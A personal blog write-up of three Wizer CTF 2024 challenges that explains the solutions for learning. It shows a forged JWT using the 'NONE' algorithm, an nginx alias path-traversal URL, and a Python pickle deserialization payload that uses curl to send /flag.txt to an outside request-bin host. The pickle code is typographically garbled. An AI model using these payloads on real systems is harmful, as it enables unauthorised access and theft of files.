Wizer CTF 2024

Bhavyajain
6 min readFeb 15, 2024

Hi Everyone,

I am Bhavya (a friendly neighbourhood infosec consultant). I recently participated in Wizer CTF and had a great time solving the challenges.

The challenges were different from normal jeopardy-style CTF. The format was easy 6 levels, 6 hours. Each challenge consists of a source code from a backend server. The way to solve the challenges is to find a workaround by understanding the source code.

I figured out 3 out of 6 challenges and I’ll be sharing how I battled with those challenges. All the source codes are on my github repo. Grab something to eat because this will be a loooooong blog. Let’s start!

Challenge 1: JWT Authentication

Challenge code here

The code depicts an implementation of the JWT algorithm for authorization and there is an API endpoint /flag where we can access the flag.

The if statement will be processed if our req is having flag in the access attribute. Now, what to comes our mind when we are asked to attack JWTs?

Let’s go and check the allowed algorithms.

“NONE algorithm” is allowed, so we can easily create a token with NONE algorithm and have an attribute “access” with value “flag”. Here is a JWT token:

Header:

{
“typ”: “JWT”,
“alg”: “NONE”
}

Body:

{
“access”: “flag”
}

No signature since we are putting the algorithm to NONE. Convert it to a JWT token by encoding it in Base64.

Payload to be used:

{“token”:”eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIn0.”}

Things not to ignore from the challenge:

  • The secret key is not hardcoded instead it is stored in an environment variable and called from there.

This is very important while using secrets and passwords in code. You should always store it in environment variables or vaults and use it from there.

Challenge 2: Nginx Configuration

Through Sheldon Cooper’s flag game website, with the following nginx configuration, get the flag from `flag.html`

Challenge code here.

We are given a NGINX server configuration file and we need to read the flag.html file. The URL to be hit is https://nginx.wizer-ctf.com/assets

Let’s understand the code:

  1. Initial are configurations about the user which will run the Nginx processes. In this case, it is the ‘nginx’ user. Next up we have how many worker processes can be handled, the events and the HTTP server configurations.
  2. MIME-type configuration files are allowed and the timeout is set to 65 seconds. The server is hosted on 80 port.
  3. The default location is / and the root directory from where the files will be served is /usr/share/nginx/html. The default file in the Nginx server is served using the index directive. In the code, you can see the index directive will serve the index.html file.

example.com/file.txt → The server will take the file name and search in the /usr/share/ngnix/html directory.

This is very important for the challenge.

4. The next location is /assets. Here, no root directory is specified instead there is an alias directive used. The alias directive tells the server to use the given path as an “alternative”.

This means if we hit the request example.com/assets/file.txt, the server will replace /assets with the given alias path and then look for the file. In this case, /file.txt will concatenate with the alias path. Here is the resultant path in this case /usr/share/nginx/html/assests//file.txt.

/assets →/usr/share/nginx/html/assets/

Now, I know what you are thinking!

But why can’t we directly route /flag.html?

It is denied!!!

So, let’s try accessing it via assets. Access ../flag.html

https://nginx.wizer-ctf.com/assets../flag.html which makes our request look like /usr/share/nginx/html/assets/../flag.html :)

Challenge 3: Profile Page

Get the flag and submit it here (https://dsw3qg.wizer-ctf.com/submit_flag/<flag>) to win the challenge! (profile page: https://dsw3qg.wizer-ctf.com/profile)

Challenge link here.

Let’s understand the code:

  • It’s a flask app with /flag.txt route.
  • The next part is a class Profile. Initially, we declared __init__ method to initialize the profile object. Next, we declared a profile() function when we worked on the profile object.
  • We create an object using the pickle module. Username, email and bio properties get serialized and processed. That is one way to process the object.
  • But if we look at line 28, there is a GET parameter “load_object” which can also processed as a serialized object. Just FYI serialisation and deserialisation can be exploited in several ways. Serialisation is a way where the server processes details in an object, later deserializes to work around and gives back the results in a serialized object.
  • Pickled data can be malicious and should never be executed after un-pickling. Just google “pickle python exploit” and after reading from the first two links, it is easy to deduce that we need to write a python script where we can read the flag.
  • For this, we’ll be using the reduce method and a basic payload is given in this David Hamann blog.

import pickle
import base64
import os

class RCE:
def _reduce_(self):
cmd = (‘cat /flag.txt)
return os.system, (cmd,)

if _name_ == ‘_main_’:
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))]

this will print an object which if executed will print flag.txt

source: David Hamman blog.

We already know the get object load_object where we can serve this object string.

When we’ll execute this, we won’t see the flag. This is because the cat statement prints the flag on the server and we don’t have access to it.

So, think of another way around it. Can we try exporting the flag.txt on a webhook kinda thing?

So, I created a webhook on a Request Bin. Here, I can easily see all the requests hitting the hook I created.

Let’s modify the payload:

import pickle
import base64
import os

class RCE:
def _reduce_(self):
cmd = (‘curl -F “flag=@/flag.txt” http://<my-request-bin-url)
return os.system, (cmd,)

if _name_ == ‘_main_’:
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))]

Execute it copy the value of the object and then hit the request https://dsw3qg.wizer-ctf.com/profile?load_object=<copid object> and voila!

We can check the flag.txt file on our request bin server dashboard. Go to the request and check in the body.

These were the challenges I was able to figure out in the 6-hour time window. There are 3 more challenges left. In this CTF, I learnt a lot of things. Looking forward to more such CTFs which are based on source codes.

Thank you for staying here, cheers!!

--

--